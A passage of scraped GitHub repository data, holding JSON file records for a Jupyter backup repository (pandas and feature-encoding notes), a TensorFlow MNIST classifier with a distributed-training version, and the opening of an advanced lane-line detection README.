6], 2) // [2, 4, 6]\ndivisiblePor([9, 12, 3, 0, 1, 4], 3) // [9, 12, 3]\ndivisiblePor([10, 11, 3], 1) // [10, 11, 3]\n'''\n\ndef divisiblePor(lista):\n divisor=int(input(\"Divisor: \"))\n newlist=[]\n for i in range(0,len(lista)):\n if(lista[i]%divisor==0 and lista[i]!=0):\n newlist.append(lista[i])\n print(newlist) \n\ndivisiblePor([10, 11, 3])" } ]
12
FanNotFan/JupyterBackUp
https://github.com/FanNotFan/JupyterBackUp
f31946383e3ea721f5d87c11fb492ac9bfe190b0
df8ed814d51896b98d5805328a5d1dfd1f23a8cb
5b21e19fbf5e7d1f0038422739346e865b9c28ec
refs/heads/master
2021-06-19T19:40:20.910553
2021-02-26T08:31:00
2021-02-26T08:31:00
188,192,984
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5066313147544861, "alphanum_fraction": 0.5649867653846741, "avg_line_length": 25.821428298950195, "blob_id": "9060d1a360ba3314ea8cebe8a57fb37654362649", "content_id": "caac3a43b904402770c70371486cc62fed385a2b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 892, "license_type": "no_license", "max_line_length": 83, "num_lines": 28, "path": "/.virtual_documents/Tools/Untitled.ipynb.py", "repo_name": "FanNotFan/JupyterBackUp", "src_encoding": "UTF-8", "text": "import pandas as pd\n\ndf = pd.DataFrame({'Gender' : ['男', '女', '男', '男', '男', '男', '女', '女', '女'],\n 'name' : ['周杰伦', '蔡依林', '林俊杰', '周杰伦', '林俊杰', '周杰伦', '田馥甄', '蔡依林', '田馥甄'],\n 'income' : [4.5, 2.9, 3.8, 3.7, 4.0, 4.1, 1.9, 4.1, 3.2],\n 'expenditure' : [1.5, 1.9, 2.8, 1.7, 4.1, 2.5, 1.1, 3.4, 1.2]\n })\ndf.head(10)\n\n\n#根据其中一列分组\ndf_expenditure_mean = df.groupby(['Gender']).mean()\ndf_expenditure_mean.head(10)\n\n\n#根据其中一列分组\ndf_expenditure_mean = df.groupby(['Gender'],sort=True).count()\ndf_expenditure_mean.head(10)\n\n\n#根据其中两列分组\ndf_expenditure_mean = df.groupby(['Gender', 'name']).mean()\ndf_expenditure_mean.head(10)\n\n\n#只对其中一列求均值\ndf_expenditure_mean = df.groupby(['Gender', 'name'])['income'].mean()\ndf_expenditure_mean.head\n\n\n\n" }, { "alpha_fraction": 0.8598726391792297, "alphanum_fraction": 0.8917197585105896, "avg_line_length": 156.5, "blob_id": "eee5b33ba41110468be09e91f21a8f5452dfb3fa", "content_id": "0f86595fb89a4742311cf22ca8415bf6980d5664", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 860, "license_type": "no_license", "max_line_length": 247, "num_lines": 2, "path": "/ML_Algorithm/FeatureEngineering(特征工程)/编码/特征编码/untitled.md", "repo_name": "FanNotFan/JupyterBackUp", "src_encoding": "UTF-8", "text": "各个取值之间有联系,且是可以互相计算的,比如120kg - 45kg = 90kg,分类之间可以通过数学计算互相转换。这是有距变量。\n然而在对特征进行编码的时候,这三种分类数据都会被我们转换为[0,1,2],这三个数字在算法看来,是连续且可以计算的,这三个数字相互不等,有大小,并且有着可以相加相乘的联系。所以算法会把舱门,学历这样的分类特征,都误会成是体重这样的分类特征。这是说,我们把分类转换成数字的时候,忽略了数字中自带的数学性质,所以给算法传达了一些不准确的信息,而这会影响我们的建模。类别OrdinalEncoder可以用来处理有序变量,但对于名义变量,我们只有使用哑变量的方式来处理,才能够尽量向算法传达最准确的信息" }, { "alpha_fraction": 0.6962025165557861, "alphanum_fraction": 0.7721518874168396, "avg_line_length": 79, "blob_id": "20bb07a50b0f436d53bbd1629f2017b926323f4e", "content_id": "a30e5dfde10755c0044944f32db4a0e658e2938f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 79, "license_type": "no_license", "max_line_length": 79, "num_lines": 1, "path": "/Expedia/Simplification/.jupyter_symlinks/Users/hiCore/miniconda3/envs/python3.7.3_dev/lib/python3.7/logging/__init__.py", "repo_name": "FanNotFan/JupyterBackUp", "src_encoding": "UTF-8", "text": "/Users/hiCore/miniconda3/envs/python3.7.3_dev/lib/python3.7/logging/__init__.py" }, { "alpha_fraction": 0.8500000238418579, "alphanum_fraction": 0.8500000238418579, "avg_line_length": 19, "blob_id": "42f85226553ff48ebd65359f7fd4717d7da2b95f", "content_id": "10f3089ae2526c9f16d75cf161ba42cd8b386008", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 40, "license_type": "no_license", "max_line_length": 23, "num_lines": 2, "path": "/README.md", "repo_name": "FanNotFan/JupyterBackUp", "src_encoding": "UTF-8", "text": "# JupyterBackUp\nJupyter notebook Backup\n" }, { "alpha_fraction": 0.7012578845024109, "alphanum_fraction": 0.7201257944107056, "avg_line_length": 25.25, "blob_id": "5cb18e045cecfbc1d237f1703d159cbcc5923776", "content_id": "36017bccc52ad01bde0af61eebe2232fec08a3b9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 318, "license_type": "no_license", "max_line_length": 139, "num_lines": 12, "path": "/.virtual_documents/Tools/np生成Dataframe.ipynb.py", "repo_name": "FanNotFan/JupyterBackUp", "src_encoding": "UTF-8", "text": "import math\nimport numpy as np\nimport pandas as pd\n\n\ndata_length = 30\ncolumn_size = math.ceil((data_length-1) ** 0.5)\nrow_size = math.ceil((data_length-1) / column_size)\ndf = pd.DataFrame(np.arange(row_size*column_size).reshape((row_size,column_size)),index=np.arange(row_size),columns=np.arange(column_size))\n\n\ndf\n\n\n\n" }, { "alpha_fraction": 0.7164179086685181, "alphanum_fraction": 0.8059701323509216, "avg_line_length": 67, "blob_id": "4e5e28a54249ec337416e41f61c03aea17760244", "content_id": "49a3a7dc60d2838eba2210cabce47b20c33ccbd8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 67, "license_type": "no_license", "max_line_length": 67, "num_lines": 1, "path": "/Expedia/Simplification/.jupyter_symlinks/Users/hiCore/miniconda3/envs/python3.7.3_dev/lib/python3.7/glob.py", "repo_name": "FanNotFan/JupyterBackUp", "src_encoding": "UTF-8", "text": "/Users/hiCore/miniconda3/envs/python3.7.3_dev/lib/python3.7/glob.py" }, { "alpha_fraction": 0.5421245694160461, "alphanum_fraction": 0.5555555820465088, "avg_line_length": 545.3333129882812, "blob_id": "dee2852f3854f13b83d833e7d6ef4be54ff68ca0", "content_id": "fdc0bb4cd7b85e7ac202ff9e6e25a02e0434f4e2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1638, "license_type": "no_license", "max_line_length": 1128, "num_lines": 3, "path": "/Expedia/Simplification/Hilton.md", "repo_name": "FanNotFan/JupyterBackUp", "src_encoding": "UTF-8", "text": "| Brands | Rate Plan Name | Rate Yielding | Notes |\n| ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ | ------------------------------------------------------------ |\n| Waldorf Astoria Conrad Canopy Hilton Curio Doubletree Tapestry Embassy Hilton Garden Inn Hampton Tru Homewood Home2 Suites Hilton Grand Vacations | AmericasThese chains use C0: *Hilton, Waldorf, Curio, Canopy, Hilton Garden Inn, TruThese chains use **L-HW0: **Homewood, Home2, Hampton, Doubletree This chain uses **S-HW0: **Embassy SuitesOutside of the Americas the following chains use **OD09H1, OD09H2, and OD09H3: CI, HH, WA, QQ, PY, GI, RU, DT | Only one Hotwire rate plan. Can be managed as % or flat rate, adjusted by day or room type. | Use Hotwire rate plan to manage within 14 DTA, complement with PKG further out.Ensure PHR is activated upon enrollment.Check CTA restrictions on PKG if you don't see availability.Focus service hotels use GRO (revenue management system) - will likely be rolling out system wide.Hilton requires one participating non-Hilton hotel in the compset.Hiltons are set up with a 30 day max lead time restriction by default. Hotels can remove the restriction. to remove lead time restriction:1. Open inventory 2. Authorize inventory 3. Remove the lead time 4. Remove the CTA |" } ]
7
wondervictor/CloudComputing-Tensorflow
https://github.com/wondervictor/CloudComputing-Tensorflow
2f8eea14c34ce1d15c09a087b6b1bb2fc301e082
2217e75980e9fde25521cfdafae1eaf9f868e428
c2df5119afd109e564784bba262513fa8bcba75a
refs/heads/master
2021-08-07T21:13:07.057494
2017-11-09T00:11:15
2017-11-09T00:11:15
109,672,635
1
1
null
null
null
null
null
[ { "alpha_fraction": 0.5347009301185608, "alphanum_fraction": 0.5437116622924805, "avg_line_length": 35.43356704711914, "blob_id": "ae94bc5614211991df64afdb72f0f7060c80eb84", "content_id": "d37c86be8396d952be1423733564e69857bd93ec", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5224, "license_type": "no_license", "max_line_length": 114, "num_lines": 143, "path": "/mnist_classifier/distributed_classifier.py", "repo_name": "wondervictor/CloudComputing-Tensorflow", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n\"\"\"\nDistributed MNIST Classifier\n\n\"\"\"\n\nimport tensorflow as tf\nimport collections\nimport mnist_data\nfrom classifier import model\n\nConfig = collections.namedtuple('Config', 'lr, batch_size, epoches, data_dir')\n\n\nnum_workers = 3\nnum_ps = 2\ntrain_data_size = 60000\n\n\ndef distributed_model(config):\n\n tf.app.flags.DEFINE_string(\"job_name\", \"\", \"Enter 'ps' or 'worker' \")\n tf.app.flags.DEFINE_integer(\"task_index\", 0, \"Index of the task within the jobs\")\n tf.app.flags.DEFINE_bool(\"async\", True, \"Async or Sync Train\")\n tf.app.flags.DEFINE_string(\"ps_hosts\", \"\", \"Comma-separated list of hostname:port pairs\")\n tf.app.flags.DEFINE_string(\"worker_hosts\", \"\", \"Comma-separated list of hostname:port pairs\")\n tf.app.flags.DEFINE_string(\"data_dir\", \"./data/\", \"Data directory\")\n FLAGS = tf.app.flags.FLAGS\n\n ps_hosts = FLAGS.ps_hosts.split(\",\")\n worker_hosts = FLAGS.worker_hosts.split(\",\")\n\n mnist = mnist_data.read_data_sets(FLAGS.data_dir, one_hot=True)\n\n cluster = tf.train.ClusterSpec({\n \"worker\": worker_hosts,\n \"ps\": ps_hosts\n })\n\n server = tf.train.Server(cluster, job_name=FLAGS.job_name, task_index=FLAGS.task_index)\n\n if FLAGS.job_name == 'ps':\n server.join()\n else:\n with tf.device(tf.train.replica_device_setter(\n worker_device='/job:worker/task:%d' % FLAGS.task_index,\n cluster=cluster\n )):\n global_step = tf.Variable(0, name=\"global_step\", trainable=False)\n x = tf.placeholder(tf.float32, [None, 784])\n label = tf.placeholder(tf.float32, [None, 10])\n\n pred_y = model(x)\n\n with tf.name_scope('loss'):\n cross_entropy = tf.nn.softmax_cross_entropy_with_logits(labels=label, logits=pred_y)\n cross_entropy = tf.reduce_mean(cross_entropy)\n tf.summary.scalar('loss', cross_entropy)\n\n with tf.name_scope('adam_optimizer'):\n optimizer = tf.train.AdamOptimizer(config.lr)\n\n with tf.name_scope('accuracy'):\n correct_prediction = tf.equal(tf.argmax(pred_y, 1), tf.argmax(label, 1))\n correct_prediction = tf.cast(correct_prediction, tf.float32)\n accuracy = tf.reduce_mean(correct_prediction)\n tf.summary.scalar('accuracy', accuracy)\n\n with tf.name_scope('grads_and_vars'):\n\n grads_and_vars = optimizer.compute_gradients(cross_entropy)\n\n if FLAGS.async:\n\n # 异步模式\n train_op = optimizer.apply_gradients(grads_and_vars)\n\n else:\n\n rep_op = tf.train.SyncReplicasOptimizer(\n optimizer,\n replicas_to_aggregate=len(worker_hosts),\n total_num_replicas=len(worker_hosts),\n use_locking=True\n )\n\n train_op = rep_op.apply_gradients(grads_and_vars, global_step=global_step)\n init_token_op = rep_op.get_init_tokens_op()\n chief_queue_runner = rep_op.get_chief_queue_runner()\n\n init_op = tf.global_variables_initializer()\n saver = tf.train.Saver()\n summary_op = tf.summary.merge_all()\n\n sv = tf.train.Supervisor(\n is_chief=(FLAGS.task_index == 0),\n logdir='./summary_log/',\n init_op=init_op,\n summary_op=None,\n saver=saver,\n global_step=global_step,\n save_model_secs=60\n )\n\n summary_writer = tf.summary.FileWriter('./summary_log/')\n\n with sv.prepare_or_wait_for_session(server.target) as sess:\n\n if FLAGS.task_index == 0 and not FLAGS.async:\n\n sv.start_queue_runners(sess, [chief_queue_runner])\n sess.run(init_token_op)\n\n for i in xrange(config.epoches):\n loss = 0\n for j in xrange(train_data_size / config.batch_size):\n\n batch = mnist.train.next_batch(config.batch_size)\n sess.run(train_op, feed_dict={x: batch[0], label: batch[1]})\n loss += sess.run(cross_entropy, feed_dict={x: batch[0], label: batch[1]})\n if j % 5 == 0:\n train_accuracy = accuracy.eval(session=sess, feed_dict={x: batch[0], label: batch[1]})\n print('[Epoch: %d Sample: %d] training accuracy: %g loss: %s' % (\n i, (j + 1) * config.batch_size, train_accuracy, loss / (j + 1)))\n summary = sess.run(summary_op)\n summary_writer.add_summary(summary, global_step)\n train_accuracy = accuracy.eval(session=sess,\n feed_dict={x: mnist.test.images, label: mnist.test.labels})\n print(\"[Epoch: %s] Test Accuracy: %s\" % (i + 1, train_accuracy))\n sv.stop()\n\n\nif __name__ == '__main__':\n\n config = Config(\n lr=0.001,\n batch_size=16,\n epoches=10,\n data_dir=''\n )\n\n distributed_model(config)\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.6035372018814087, "alphanum_fraction": 0.6204863786697388, "avg_line_length": 32.48147964477539, "blob_id": "55382960abbde11051b4dab296e409efa9961068", "content_id": "a1cf20811604da7126cef56448ab88a9182782de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2714, "license_type": "no_license", "max_line_length": 181, "num_lines": 81, "path": "/mnist_classifier/main.py", "repo_name": "wondervictor/CloudComputing-Tensorflow", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n\"\"\"\nTensorflow MNIST Classifier\n\n\"\"\"\n\nimport tensorflow as tf\nfrom classifier import model\nimport mnist_data\nimport collections\nimport argparse\n\ntrain_data_size = 60000\ntest_data_size = 10000\n\nConfig = collections.namedtuple('Config', 'lr, batch_size, epoches, data_dir')\n\n\ndef train(config):\n\n mnist = mnist_data.read_data_sets(config.data_dir, one_hot=True)\n\n x = tf.placeholder(tf.float32, [None, 784])\n label = tf.placeholder(tf.float32, [None, 10])\n\n pred_y = model(x)\n\n with tf.name_scope('loss'):\n cross_entropy = tf.nn.softmax_cross_entropy_with_logits(labels=label, logits=pred_y)\n cross_entropy = tf.reduce_mean(cross_entropy)\n tf.summary.scalar('loss', cross_entropy)\n\n with tf.name_scope('adam_optimizer'):\n train_step = tf.train.AdamOptimizer(config.lr).minimize(cross_entropy)\n\n with tf.name_scope('accuracy'):\n\n correct_prediction = tf.equal(tf.argmax(pred_y, 1), tf.argmax(label, 1))\n correct_prediction = tf.cast(correct_prediction, tf.float32)\n accuracy = tf.reduce_mean(correct_prediction)\n tf.summary.scalar('accuracy', accuracy)\n\n with tf.Session() as sess:\n\n sess.run(tf.global_variables_initializer())\n # merged = tf.summary.merge_all()\n # writer = tf.summary.FileWriter(\"logs/\", sess.graph)\n #sess.run(tf.global_variables_initializer())\n\n for i in xrange(config.epoches):\n loss = 0\n for j in xrange(train_data_size/config.batch_size):\n\n batch = mnist.train.next_batch(config.batch_size)\n train_step.run(feed_dict={x: batch[0], label: batch[1]})\n loss += sess.run(cross_entropy, feed_dict={x: batch[0], label: batch[1]})#sess.run(tf.reduce_mean(sess.run(cross_entropy, feed_dict={x: batch[0], label: batch[1]})))\n if j % 5 == 0:\n train_accuracy = accuracy.eval(feed_dict={x: batch[0], label: batch[1]})\n print('[Epoch: %d Sample: %d] training accuracy: %g loss: %s' % (i, (j+1)*config.batch_size, train_accuracy, loss/(j+1)))\n\n train_accuracy = accuracy.eval(feed_dict={x: mnist.test.images, label: mnist.test.labels})\n print(\"[Epoch: %s] Test Accuracy: %s\" % (i + 1, train_accuracy))\n\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser()\n parser.add_argument('--data_dir', type=str, default='../data/', help='MNIST Data Directory')\n parser.add_argument('--epoches', type=int, default=20, help='Training epoches')\n\n a = parser.parse_args()\n\n config = Config(\n lr=0.001,\n epoches=a.epoches,\n data_dir=a.data_dir,\n batch_size=32\n )\n\n train(config)\n\n\n" }, { "alpha_fraction": 0.5259881615638733, "alphanum_fraction": 0.5773420333862305, "avg_line_length": 24.22834587097168, "blob_id": "e49556384d36ab6d62918ed7838283a2c5ebf729", "content_id": "724c7cecbedb493cc1c530fa3c1cd72bd850ddc5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3213, "license_type": "no_license", "max_line_length": 107, "num_lines": 127, "path": "/mnist_classifier/classifier.py", "repo_name": "wondervictor/CloudComputing-Tensorflow", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n\"\"\"\nTensorflow MNIST Classifier\n\n\"\"\"\n\nimport tensorflow as tf\n\nimage_size = 28\n\n\ndef init_weights(input_size, output_size):\n \"\"\"\n Init Weights for Layers\n :param input_size:\n :param output_size:\n :return:\n \"\"\"\n return tf.Variable(tf.random_normal([input_size, output_size], stddev=0.01))\n\n\ndef init_conv_filter(filter_size, filter_nums, in_channels):\n \"\"\"\n Init Convolution Kernel\n :param filter_size:\n :param filter_nums:\n :param in_channels:\n :return:\n \"\"\"\n return tf.Variable(tf.random_normal([filter_size, filter_size, in_channels, filter_nums], stddev=0.01))\n\n\ndef init_bias(dim):\n\n return tf.Variable(tf.random_normal([dim], stddev=0.01))\n\n\ndef leaky_relu(x, alpha=0.3):\n\n return tf.maximum(x*alpha, x)\n\n\ndef conv2d(name, x, conv_filter, b, stride=1, act=leaky_relu):\n x = tf.nn.conv2d(\n input=x,\n filter=conv_filter,\n strides=[1, stride, stride, 1],\n padding='SAME',\n name=name)\n x = tf.nn.bias_add(x, b)\n x = act(x)\n return x\n\n\ndef maxpool(x, pool_size, stride, name):\n\n return tf.nn.max_pool(\n value=x,\n ksize=[1, pool_size, pool_size, 1],\n strides=[1, stride, stride, 1],\n padding='SAME',\n name=name)\n\n\ndef batch_norm(x):\n batch_mean, batch_var = tf.nn.moments(x, [0, 1, 2], keep_dims=True)\n scale = tf.Variable(tf.ones([x.get_shape()[-1]]))\n beta = tf.Variable(tf.zeros([x.get_shape()[-1]]))\n epsilon = 1e-3\n return tf.nn.batch_normalization(\n x,\n mean=batch_mean,\n variance=batch_var,\n scale=scale,\n variance_epsilon=epsilon,\n offset=beta\n )\n\n\ndef model(x):\n\n with tf.name_scope('reshape'):\n x_image = tf.reshape(x, [-1, image_size, image_size, 1])\n\n with tf.name_scope('conv_block_1'):\n conv_filter1 = init_conv_filter(3, 32, 1)\n bias1 = init_bias(32)\n x1 = conv2d('conv_1', x_image, conv_filter1, bias1)\n conv_filter2 = init_conv_filter(3, 64, 32)\n bias2 = init_bias(64)\n x2 = conv2d('conv_2', x1, conv_filter2, bias2)\n x3 = maxpool(x2, 2, 2, name='pool1')\n\n with tf.name_scope('conv_block_2'):\n\n conv_filter3 = init_conv_filter(3, 128, 64)\n conv_filter4 = init_conv_filter(3, 256, 128)\n bias3 = init_bias(128)\n bias4 = init_bias(256)\n\n x4 = conv2d('conv_3', x3, conv_filter3, bias3)\n x5 = conv2d('conv_4', x4, conv_filter4, bias4)\n x6 = maxpool(x5, 2, 2, name='pool2')\n\n with tf.name_scope('conv_block_3'):\n\n conv_filter5 = init_conv_filter(3, 256, 256)\n bias5 = init_bias(256)\n x7 = conv2d('conv_5', x6, conv_filter5, bias5)\n x8 = maxpool(x7, 2, 2, name='pool3')\n\n with tf.name_scope('fc'):\n\n resize_height = 4\n\n x = tf.reshape(x8, [-1, 256*resize_height*resize_height])\n weights1 = init_weights(256*resize_height*resize_height, 256)\n bias6 = init_bias(256)\n weights2 = init_weights(256, 10)\n bias7 = init_bias(10)\n\n x = leaky_relu(tf.matmul(x, weights1) + bias6, 0.5)\n x = tf.nn.dropout(x, keep_prob=0.7)\n x = tf.matmul(x, weights2) + bias7\n\n return x\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.4922737181186676, "alphanum_fraction": 0.6501103639602661, "avg_line_length": 19.56818199157715, "blob_id": "2980ff296da38329151ee48ab23d814ce3164e5f", "content_id": "f672af3486194d35b920b0775f4173f0a15a2392", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 906, "license_type": "no_license", "max_line_length": 103, "num_lines": 44, "path": "/mnist_classifier/README.md", "repo_name": "wondervictor/CloudComputing-Tensorflow", "src_encoding": "UTF-8", "text": "## MNIST Classifier - Round 1\n\n### Usage\n\n```\nmkdir data\n```\n\n**1. Normal Version**\n\n```python\n\npython main.py --data_dir='./data'\n\n```\n\n**2. Distributed Version**\n\n\n```python\n\n# Parameter Server 1:\n\npython distributed_classifier --job_name=ps --task_index=0 --ps_hosts=0.0.0.0:2333,0.0.0.0.0:2224 \\\n--worker_hosts=0.0.0.0:2344,0.0.0.0:2345 --data_dir=./data/\n\n# Parameter Server 2:\n\npython distributed_classifier --job_name=ps --task_index=1 --ps_hosts=0.0.0.0:2333,0.0.0.0.0:2224 \\\n--worker_hosts=0.0.0.0:2344,0.0.0.0:2345 --data_dir=./data/\n\n\n# Worker 1\n\npython distributed_classifier --job_name=worker --task_index=0 --ps_hosts=0.0.0.0:2333,0.0.0.0.0:2224 \\\n--worker_hosts=0.0.0.0:2344,0.0.0.0:2345 --data_dir=./data/\n\n# Worker 2\n\npython distributed_classifier --job_name=worker --task_index=1 --ps_hosts=0.0.0.0:2333,0.0.0.0.0:2224 \\\n--worker_hosts=0.0.0.0:2344,0.0.0.0:2345 --data_dir=./data/\n\n\n```\n\n" } ]
4
ap0dder/Game-One
https://github.com/ap0dder/Game-One
d6c524112ce95b437af93d00b86fea92d1805364
6d32168d1e0c8d1f9fcc835683d432b46d1d4907
dcd824dc06d417e5a1833deef2af15d7aacdc34c
refs/heads/master
2023-04-03T12:12:55.715401
2021-03-30T23:01:49
2021-03-30T23:01:49
353,162,529
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.5500547885894775, "alphanum_fraction": 0.5520642995834351, "avg_line_length": 33.64556884765625, "blob_id": "32ec79511089a57d378f5ef0ce6660ff914fdabd", "content_id": "bd9af6bc5744d1d53d59ccb8a92c5e81bdb19628", "detected_licenses": [ "CC0-1.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5474, "license_type": "permissive", "max_line_length": 76, "num_lines": 158, "path": "/adventure_game.py", "repo_name": "ap0dder/Game-One", "src_encoding": "UTF-8", "text": "import time\nimport random\n\n\ndef introLA():\n print_pause(\"You find yourself standing in Skid Row of LA.\")\n print_pause(\"Rumor has it that the Skid Row Druglord \")\n print_pause(\"is somewhere around here \")\n print_pause(\"and has been terrorizing LA!\")\n print_pause(\"You are standing on the road. \")\n print_pause(\"In front of you is an abandoned building.\")\n print_pause(\"To your right is a tent where \")\n print_pause(\"an ex convict homeless man lives.\")\n\n\ndef introNYC():\n print_pause(\"You find yourself standing in NYC.\")\n print_pause(\"Rumor has it that the Druglord \")\n print_pause(\"is somewhere around here \")\n print_pause(\"and has been terrorizing NYC!\")\n print_pause(\"You are standing on the road. \")\n print_pause(\"In front of you is an abandoned building.\")\n print_pause(\"To your right is a tent where \")\n print_pause(\"an ex convict homeless man lives.\")\n\n\ndef introND():\n print_pause(\"You find yourself standing in New Delhi.\")\n print_pause(\"Rumor has it that the Druglord \")\n print_pause(\"is somewhere around here \")\n print_pause(\"and has been terrorizing New Delhi!\")\n print_pause(\"You are standing on the road. \")\n print_pause(\"In front of you is an abandoned building.\")\n print_pause(\"To your right is a tent where \")\n print_pause(\"an ex convict homeless man lives.\")\n\n\ncity = random.choice([\"LA\", \"NYC\", \"New Delhi\"])\n\n\ndef intro():\n if city == \"LA\":\n introLA()\n elif city == \"NYC\":\n introNYC()\n elif city == \"New Delhi\":\n introND()\n else:\n introLA()\n\n\ndef print_pause(message_to_print):\n print(message_to_print)\n time.sleep(2)\n\n\ndef valid_input(prompt, option1, option2):\n while True:\n response = input(prompt).lower()\n if option1 in response:\n break\n elif option2 in response:\n break\n else:\n print_pause(\"(I don't understand this command.\\n\"\n \"Please choose from the two options provided.)\")\n return response\n\n\ndef get_started():\n response = valid_input(\"Enter 1 to step into the abandoned building.\\n\"\n \"Enter 2 to step into the homeless man's tent.\\n\"\n \"What would you like to do?\\n\",\n \"1\", \"2\")\n if \"1\" in response:\n print_pause(\"You have now stepped into the abandoned building!\")\n building()\n elif \"2\" in response:\n print_pause(\"You have now stepped into the tent.\")\n tent()\n\n\ndef building():\n # Things that happen to the player steps into the building\n response = valid_input(\"The Druglord was waiting \"\n \"for you inside the building.\\n\"\n \"Do you want to fight the Druglord? \"\n \"Enter 'YES' to fight or 'NO' to run away.\\n\",\n \"yes\", \"no\")\n if \"no\" in response:\n print_pause(\"OK, you ran away outside the building!\")\n get_started()\n elif \"yes\" in response:\n print_pause(\"You are courageous! Prepare for battle!\")\n fight()\n\n\ndef fight():\n # Things that happen when the player fights\n response = valid_input(\"The Drugload takes out his gun \"\n \"and pulls the trigger on you.\\n\"\n \"Do you let the bullet hit you on your forehead \"\n \"or do you use Captain America's shield?\\n\"\n \"Enter 'BULLET' to check if you are Superman \"\n \"or 'SHIELD' to defend.\\n\",\n \"bullet\", \"shield\")\n if \"bullet\" in response:\n print_pause(\"Sorry, you no Superman.\\n\"\n \"You hu-man. The bullet hits \"\n \"your forehead and you die!\\n\"\n \"The Drugload wins!\")\n elif \"shield\" in response:\n print_pause(\"The bullet bounces off the shield \"\n \"and hits the Drugload's forehead.\\n\"\n \"You killed the Drugload!\")\n print_pause(\"GAME OVER!\")\n play_again()\n\n\ndef tent():\n # Things that happen to the player steps into the tent\n response = valid_input(\"The homeless man jumps on you \"\n \"and tries to tie you up.\\n\"\n \"Do you try to run away or fight?\\n\"\n \"Enter 'RUN' to run out of the tent \"\n \"or 'FIGHT' to punch the homeless man.\\n\",\n \"run\", \"fight\")\n if \"run\" in response:\n print_pause(\"OK, you ran out of the tent!\")\n get_started()\n elif \"fight\" in response:\n print_pause(\"You miss the punch. The homeless man punches you, \"\n \"ties you up, takes you inside the building.\\n\"\n \"He unties you and leaves you in the building.\")\n building()\n\n\ndef play_again():\n response = valid_input(\"Would you like to play again? \"\n \"Enter 'YES' or 'NO'.\\n\",\n \"yes\", \"no\")\n if \"no\" in response:\n print_pause(\"OK, thank you for playing this game! Goodbye!\")\n elif \"yes\" in response:\n print_pause(\"Very good, lets take you back \"\n \"to another city. Wait to see \"\n \"if you end up in NYC, LA, or New Delhi! \"\n \"....................\")\n intro()\n get_started()\n\n\ndef play_game():\n intro()\n get_started()\n\n\nplay_game()\n" }, { "alpha_fraction": 0.739130437374115, "alphanum_fraction": 0.739130437374115, "avg_line_length": 10.5, "blob_id": "af13d862c1825d6f770b8e6f12af731348f3938a", "content_id": "0be4d0a2ba95c2f5bc5cb52e6cf49b056e206659", "detected_licenses": [ "CC0-1.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 23, "license_type": "permissive", "max_line_length": 11, "num_lines": 2, "path": "/README.md", "repo_name": "ap0dder/Game-One", "src_encoding": "UTF-8", "text": "# Game-One\nPython game\n" } ]
2
nitheeshkl/Udacity_CarND_AdvancedLaneLines
https://github.com/nitheeshkl/Udacity_CarND_AdvancedLaneLines
41085245d27f34952ee9cf82fb40734c8cae3e81
f38d9316dda6ae9ce0605dcb1568b4f3459c1b06
57ef11c583e3a324ed6482a265d62a5582000a34
refs/heads/master
2021-09-03T09:50:13.093934
2018-01-07T03:50:03
2018-01-07T03:55:17
114,516,189
1
1
null
null
null
null
null
[ { "alpha_fraction": 0.7742404937744141, "alphanum_fraction": 0.7813510298728943, "avg_line_length": 78.84516143798828, "blob_id": "7249573b34472db8c442d5cfdc34cfb0ea04b892", "content_id": "31025cb6fd6b1194450e152b54f2e8a7d5615bbb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 12376, "license_type": "permissive", "max_line_length": 733, "num_lines": 155, "path": "/README.md", "repo_name": "nitheeshkl/Udacity_CarND_AdvancedLaneLines", "src_encoding": "UTF-8", "text": "# Udacity_CarND_AdvancedLaneLines\nTerm1-Project4: Advanced lane lines detection\n\n## Goals\n\n* Compute the camera calibration matrix and distortion co-efficients give a set of chessboard images\n* Apply a distortion correction to raw images\n* Use color transforms, gradients,etc to create a thresholded binary images\n* Apply a perspective transfor to rectify binary image\n* Detect lane pixels and fit to find the lane boundary\n* Determine the curvature of the lane and vehicel position wieth rescpect to center.\n* Warp the detected lane boundaries back onto the original images\n* Output visual display of the lane boundaries and numerical estimation of the lane curvature and vehicle position.\n\n## [Rubric](https://review.udacity.com/#!/rubrics/571/view) Points\n\n### Here I will consider the rubric points individually and describe how I addressed each point in my implementation. \n\n---\n\n### Writeup / README\n\n#### 1. Provide a Writeup / README that includes all the rubric points and how you addressed each one. You can submit your writeup as markdown or pdf. [Here](https://github.com/udacity/CarND-Advanced-Lane-Lines/blob/master/writeup_template.md) is a template writeup for this project you can use as a guide and a starting point. \n\nYou're reading it!\n\n### Camera Calibration\n\n#### 1. Briefly state how you computed the camera matrix and distortion coefficients. Provide an example of a distortion corrected calibration image.\n\nThe _calibrate_camera()_ method implemented in the second cell of the python notebook performs the camera calibration. It uses the OpenCV methods _findChessboardCorners()_ and _calibrateCamera()_ to find the clibration matrix and distortion coefficients. The _findChessboardCorners()_ method takes in a distorted and grayed checkerboard image along with number of internal corners and returns image points. This is done for all the image in the set of checkerboard images and these image points along with their corresponding object points are provided to _calibrateCamera()_ method which returns the calibration matrix and distortion coefficients.\n\nThe _undistort()_ warapper method takes in an image along with the 